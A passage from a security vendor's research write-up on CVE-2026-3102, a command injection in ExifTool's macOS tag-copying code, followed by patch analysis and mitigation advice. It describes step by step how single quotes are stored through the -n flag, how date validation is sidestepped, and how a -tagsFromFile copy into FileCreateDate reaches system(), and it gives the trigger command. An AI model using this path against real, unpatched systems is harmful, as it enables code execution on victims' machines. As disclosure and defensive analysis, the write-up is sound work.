The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.

Planning the payload delivery

Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:

• To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
• To copy or move metadata, the -tagsFromFile feature is used.

(You can find the useful info on tag operations above and how it relates under the hood in ExifTool in the dedicated section of the documentation and on the ExifTool description page.)

To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.

Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.

Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.

When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.

Bypassing the filter

To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.

That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value.  The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:

Triggering the exploit

To inject commands, we have to revisit the single quote injection into this datetime related tag.

The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.

The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.

exiftool [_OPTIONS_] -tagsFromFile _SRCFILE_ [-[_DSTTAG_<]_SRCTAG_...] _FILE_...

Therefore, we can craft our final command:

cp evil_benign.jpg pwn.jpg;
../../exiftool -n -tagsFromFile evil_benign.jpg "-FileCreateDate<DateTimeOriginal" pwn.jpg

Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.

Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:

Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.

Patch analysis

After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.

1. Replacing string form to argument list form:

#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
  
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);

2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.

# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
    open(my $oldout, ">&STDOUT");
    open(my $olderr, ">&STDERR");
    open(STDOUT, '>', '/dev/null');
    open(STDERR, '>', '/dev/null');
    my $result = system(@_);
    open(STDOUT, ">&", $oldout);
    open(STDERR, ">&", $olderr);
    return $result;
}

How to protect against ExifTool vulnerability

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.

Conclusions

CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.